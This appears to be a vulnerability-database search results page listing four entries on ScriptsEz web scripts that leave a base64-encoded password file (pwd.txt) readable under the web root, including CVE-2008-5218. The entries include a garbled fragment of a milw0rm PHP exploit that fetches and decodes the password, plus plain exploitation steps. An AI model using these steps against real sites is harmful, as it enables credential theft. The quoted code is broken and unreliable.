4 matches found
Improper access control
ScriptsEz FREEze Greetings 1.0 stores pwd.txt under the web root with insufficient access control, which allows remote attackers to obtain cleartext passwords...
CVE-2008-5218
ScriptsEz FREEze Greetings 1.0 stores pwd.txt under the web root with insufficient access control, which allows remote attackers to obtain cleartext passwords...
FREEze Greetings 1.0 - Remote Password Retrieve
\r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$argv1 . '/pwd.txt', $r && pregmatch'!^^||+||!sei', base64decode$r1, $pass ? sprintf"Password : %s", base64decode$pass1 : 'Exploitation failed'; printf" %s \r\n\r\n", $out; ? milw0rm.com 2008-11-17...
RANDOM PHP QUOTE 1.0 (pwd.txt) Remote Password Disclosur
RANDOM PHP QUOTE 1.0 pwd.txt Remote Password Disclosur scrip : http://www.scriptsez.net/download/download.php?action=download&p=randomphpquote.zip&ns=1 discovered by : ThE TiGeR 100 Exploit : http://www.site.com/path/pwd.txt or http://www.site.com/pwd.txt then crack the password with bass64 decod...